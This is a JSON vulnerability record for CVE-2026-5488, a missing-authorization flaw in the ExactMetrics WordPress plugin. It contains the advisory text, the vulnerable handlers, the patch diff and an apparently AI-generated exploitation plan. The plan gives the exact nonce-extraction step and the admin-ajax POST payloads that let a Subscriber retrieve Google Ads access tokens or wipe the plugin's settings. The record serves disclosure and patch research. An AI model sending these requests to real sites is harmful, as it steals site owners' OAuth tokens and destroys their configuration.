[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fE-GaSo7S32qh47dw4obKxtaCILI_x375dByo_h3svaM":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-5488","exactmetrics-authenticated-subscriber-missing-authorization-to-google-ads-access-token-retrieval-via-ajax-action-exactme","ExactMetrics \u003C= 9.1.2 - Authenticated (Subscriber+) Missing Authorization to Google Ads Access Token Retrieval via AJAX Action 'exactmetrics_ads_get_token'","The ExactMetrics – Google Analytics Dashboard for WordPress plugin for WordPress is vulnerable to Missing Authorization in versions up to and including 9.1.2. This is due to missing capability checks in the get_ads_access_token() and reset_experience() AJAX handlers. While the mi-admin-nonce is localized on all admin pages (including profile.php which subscribers can access), and while other similar AJAX endpoints in the same class properly check for the exactmetrics_save_settings capability, these two endpoints only verify the nonce. This makes it possible for authenticated attackers, with subscriber-level access and above, to retrieve valid Google Ads access tokens and reset Google Ads integration settings.","google-analytics-dashboard-for-wp",null,"\u003C=9.1.2","9.1.3","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:L\u002FI:N\u002FA:N","Missing Authorization","2026-04-23 14:48:15","2026-04-24 03:27:06",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F6a4359e4-5843-4d2c-b288-5c35f819241a?source=api-prod",1,[22,23,24,25,26,27,28,29],"gadwp.php","includes\u002Fadmin\u002Fadmin-assets.php","includes\u002Fadmin\u002Fclass-exactmetrics-onboarding.php","includes\u002Fadmin\u002Fwp-site-health.php","includes\u002Fconnect.php","includes\u002Ffrontend\u002Ffrontend.php","includes\u002Fppc\u002Fgoogle\u002Fclass-exactmetrics-google-ads.php","languages\u002Fgoogle-analytics-dashboard-for-wp.pot","researched",false,3,"This plan outlines the exploitation research for CVE-2026-5488, a missing authorization vulnerability in the ExactMetrics WordPress plugin.\n\n## 1. Vulnerability Summary\nThe **ExactMetrics – Google Analytics Dashboard for WordPress** plugin (versions \u003C= 9.1.2) fails to perform capability checks on two specific AJAX handlers: `exactmetrics_ads_get_token` and `exactmetrics_ads_reset_experience`. While these endpoints verify a WordPress nonce (`mi-admin-nonce`), they do not verify if the user possesses the `exactmetrics_save_settings` capability (typically held by Administrators). Because the required nonce is localized on common admin pages (like `profile.php`), any authenticated user, including those with **Subscriber** privileges, can retrieve Google Ads access tokens or reset the plugin's Google Ads integration settings.\n\n## 2. Attack Vector Analysis\n- **Endpoints**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Actions**: `exactmetrics_ads_get_token` and `exactmetrics_ads_reset_experience`\n- **Parameter**: `nonce` (carrying the `mi-admin-nonce` value)\n- **Authentication**: Authenticated (Subscriber-level and above)\n- **Preconditions**:\n    1.  The plugin must be active.\n    2.  For `exactmetrics_ads_get_token` to return a token, the plugin must be authenticated with a Google account (can be mocked for PoC).\n\n## 3. Code Flow\n### Token Retrieval Path:\n1.  **Entry Point**: `ExactMetrics_Google_Ads::__construct` (in `includes\u002Fppc\u002Fgoogle\u002Fclass-exactmetrics-google-ads.php`) registers the AJAX action:\n    `add_action('wp_ajax_exactmetrics_ads_get_token', array($this, 'get_ads_access_token'));`\n2.  **Handler**: `ExactMetrics_Google_Ads::get_ads_access_token()` is called.\n3.  **Nonce Check**: `check_ajax_referer('mi-admin-nonce', 'nonce');` verifies the nonce.\n4.  **Authorization Check**: **MISSING**. (Compare this to `update_ads_setting()` in the same class, which checks `current_user_can('exactmetrics_save_settings')`).\n5.  **Token Fetching**: Calls `$this->get_access_token()`.\n6.  **Response**: `wp_send_json_success(array('access_token' => $access_token_result));` sends the token back to the subscriber.\n\n### Experience Reset Path:\n1.  **Entry Point**: Constructor registers `wp_ajax_exactmetrics_ads_reset_experience`.\n2.  **Handler**: `ExactMetrics_Google_Ads::reset_experience()` is called.\n3.  **Nonce Check**: `check_ajax_referer('mi-admin-nonce', 'nonce');` verifies the nonce.\n4.  **Authorization Check**: **MISSING**.\n5.  **Data Destruction**: Calls `self::clear_data()`, which executes:\n    `delete_transient(self::TOKEN_CACHE_KEY);`\n    `exactmetrics_delete_option(self::SETTINGS_KEY);`\n6.  **Response**: JSON success message.\n\n## 4. Nonce Acquisition Strategy\nThe `mi-admin-nonce` is generated and localized for the `exactmetrics-admin-setup-wizard` script. According to `includes\u002Fadmin\u002Fadmin-assets.php`, this script is enqueued on all admin pages where a setup notice might show, including `profile.php`, which is accessible to Subscribers.\n\n1.  **Login**: Authenticate as a Subscriber user.\n2.  **Navigate**: Access `http:\u002F\u002Fvulnerable-site.com\u002Fwp-admin\u002Fprofile.php`.\n3.  **Extraction**: Use `browser_eval` to extract the nonce from the global JavaScript object:\n    `browser_eval(\"window.exactmetrics?.nonce\")`\n    The localization is registered in `admin_scripts()`:\n    ```php\n    wp_localize_script(\n        'exactmetrics-admin-setup-wizard',\n        'exactmetrics',\n        array(\n            'ajax'  => admin_url( 'admin-ajax.php' ),\n            'nonce' => wp_create_nonce( 'mi-admin-nonce' ),\n        )\n    );\n    ```\n\n## 5. Exploitation Strategy\n\n### Phase 1: Access Token Retrieval\n1.  **Identify Vulnerability**: Send a POST request to `admin-ajax.php` as a Subscriber using the extracted nonce.\n2.  **Payload**:\n    ```http\n    POST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\n    Content-Type: application\u002Fx-www-form-urlencoded\n\n    action=exactmetrics_ads_get_token&nonce=[EXTRACTED_NONCE]\n    ```\n3.  **Expected Response**: A JSON object containing `success: true` and the `access_token`.\n\n### Phase 2: Reset Experience (DoS\u002FConfiguration Wipe)\n1.  **Payload**:\n    ```http\n    POST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\n    Content-Type: application\u002Fx-www-form-urlencoded\n\n    action=exactmetrics_ads_reset_experience&nonce=[EXTRACTED_NONCE]\n    ```\n2.  **Expected Response**: `{\"success\":true,\"data\":{\"message\":\"Google Ads experience reset successfully.\"}}`.\n\n## 6. Test Data Setup\nTo ensure the PoC demonstrates impact (returning a real-looking token), the following state must be created:\n1.  **Create Subscriber**: `wp user create attacker attacker@example.com --role=subscriber --user_pass=password`\n2.  **Mock Google Authentication**: The `get_access_token()` method checks `exactmetrics_is_authed()`. We must set the expected transient so it doesn't try to call the real Google API.\n    `wp transient set exactmetrics_google_ads_access_token_data '{\"token\":\"POC-SECRET-TOKEN-12345\", \"expires_at\":\"2029-01-01 00:00:00\"}' 3600`\n3.  **Set Settings**: Create some dummy settings to be cleared.\n    `wp option set exactmetrics_google_ads_settings '{\"conversion_tracking_id\":\"AW-123456789\"}'`\n\n## 7. Expected Results\n- **Token Retrieval**: The HTTP response must contain `\"access_token\":\"POC-SECRET-TOKEN-12345\"`.\n- **Reset Experience**: The settings option `exactmetrics_google_ads_settings` and the transient `exactmetrics_google_ads_access_token_data` must be deleted from the database.\n\n## 8. Verification Steps\n1.  **Check Token Access**: After the first POST request, verify the response JSON body for the mock token.\n2.  **Check Settings Deletion**: After the second POST request, verify using WP-CLI:\n    - `wp option get exactmetrics_google_ads_settings` (Should return error\u002Fempty).\n    - `wp transient get exactmetrics_google_ads_access_token_data` (Should return error\u002Fempty).\n\n## 9. Alternative Approaches\nIf `profile.php` does not load the `mi-admin-nonce` in the specific test environment, navigate to the main ExactMetrics dashboard (if the Subscriber has `exactmetrics_view_dashboard` capability, though the description implies `profile.php` is the intended leak point).\n\nIf the `exactmetrics` JS object is missing, check for `exactmetrics_admin_common` which may also contain nonces, though the specific action `mi-admin-nonce` is tied to the setup wizard script.","The ExactMetrics plugin for WordPress fails to implement authorization checks on two AJAX handlers, `exactmetrics_ads_get_token` and `exactmetrics_ads_reset_experience`. Because the required nonce (`mi-admin-nonce`) is localized on all admin pages accessible to low-privilege users, an authenticated attacker with Subscriber-level access can retrieve Google Ads access tokens or reset the plugin's Google Ads integration settings.","\u002F\u002F includes\u002Fppc\u002Fgoogle\u002Fclass-exactmetrics-google-ads.php line 165\npublic function reset_experience() {\n    check_ajax_referer('mi-admin-nonce', 'nonce');\n\n    self::clear_data();\n\n    wp_send_json_success(array(\n        'message' => __('Google Ads experience reset successfully.', 'google-analytics-dashboard-for-wp'),\n    ));\n}\n\n---\n\n\u002F\u002F includes\u002Fppc\u002Fgoogle\u002Fclass-exactmetrics-google-ads.php line 242\npublic function get_ads_access_token()\n{\n    check_ajax_referer('mi-admin-nonce', 'nonce');\n\n    $access_token_result = $this->get_access_token();\n\n    if (is_wp_error($access_token_result)) {\n        wp_send_json_error(array(\n            'message' => $access_token_result->get_error_message(),\n            'code'    => $access_token_result->get_error_code(),\n            'details' => $access_token_result->get_error_data(),\n        ));\n    }\n\n    wp_send_json_success(array(\n        'access_token' => $access_token_result,\n    ));\n}\n\n---\n\n\u002F\u002F includes\u002Fadmin\u002Fadmin-assets.php line 220\nwp_enqueue_script( 'exactmetrics-admin-setup-wizard', plugins_url( 'assets\u002Fjs\u002Fadmin-setup-wizard.js', EXACTMETRICS_PLUGIN_FILE ), array( 'jquery' ), exactmetrics_get_asset_version(), true );\n\nwp_localize_script(\n    'exactmetrics-admin-setup-wizard',\n    'exactmetrics',\n    array(\n        'ajax'  => admin_url( 'admin-ajax.php' ),\n        'nonce' => wp_create_nonce( 'mi-admin-nonce' ),\n    )\n);","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgoogle-analytics-dashboard-for-wp\u002F9.1.2\u002Fincludes\u002Fppc\u002Fgoogle\u002Fclass-exactmetrics-google-ads.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgoogle-analytics-dashboard-for-wp\u002F9.1.3\u002Fincludes\u002Fppc\u002Fgoogle\u002Fclass-exactmetrics-google-ads.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgoogle-analytics-dashboard-for-wp\u002F9.1.2\u002Fincludes\u002Fppc\u002Fgoogle\u002Fclass-exactmetrics-google-ads.php\t2026-02-04 16:05:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgoogle-analytics-dashboard-for-wp\u002F9.1.3\u002Fincludes\u002Fppc\u002Fgoogle\u002Fclass-exactmetrics-google-ads.php\t2026-04-22 16:28:26.000000000 +0000\n@@ -167,6 +167,12 @@\n \tpublic function reset_experience() {\n \t\tcheck_ajax_referer('mi-admin-nonce', 'nonce');\n \n+\t\tif (! current_user_can('exactmetrics_save_settings')) {\n+\t\t\twp_send_json_error(array(\n+\t\t\t\t'message' => __('You do not have permission to reset the Google Ads experience.', 'google-analytics-dashboard-for-wp'),\n+\t\t\t));\n+\t\t}\n+\n \t\tself::clear_data();\n \n \t\twp_send_json_success(array(\n@@ -244,6 +250,12 @@\n \t{\n \t\tcheck_ajax_referer('mi-admin-nonce', 'nonce');\n \n+\t\tif (! current_user_can('exactmetrics_save_settings')) {\n+\t\t\twp_send_json_error(array(\n+\t\t\t\t'message' => __('You do not have permission to retrieve the Google Ads access token.', 'google-analytics-dashboard-for-wp'),\n+\t\t\t));\n+\t\t}\n+\n \t\t$access_token_result = $this->get_access_token();\n \n \t\tif (is_wp_error($access_token_result)) {","To exploit this vulnerability, an attacker first authenticates to the WordPress site as a low-privileged user (e.g., Subscriber). They navigate to their own profile page (`\u002Fwp-admin\u002Fprofile.php`), where the plugin's setup wizard script enqueues the `exactmetrics` JavaScript object containing the `mi-admin-nonce`. The attacker extracts this nonce and then issues a POST request to `\u002Fwp-admin\u002Fadmin-ajax.php` with the `action` parameter set to either `exactmetrics_ads_get_token` (to retrieve a valid Google Ads OAuth access token) or `exactmetrics_ads_reset_experience` (to delete the existing Google Ads integration settings). Because the plugin only checks the nonce and lacks any capability check (like `current_user_can('exactmetrics_save_settings')`), the server processes the request for the Subscriber.","gemini-3-flash-preview","2026-04-27 13:38:38","2026-04-27 13:39:04",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","9.1.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgoogle-analytics-dashboard-for-wp\u002Ftags\u002F9.1.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgoogle-analytics-dashboard-for-wp.9.1.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgoogle-analytics-dashboard-for-wp\u002Ftags\u002F9.1.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgoogle-analytics-dashboard-for-wp.9.1.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgoogle-analytics-dashboard-for-wp\u002Ftags"]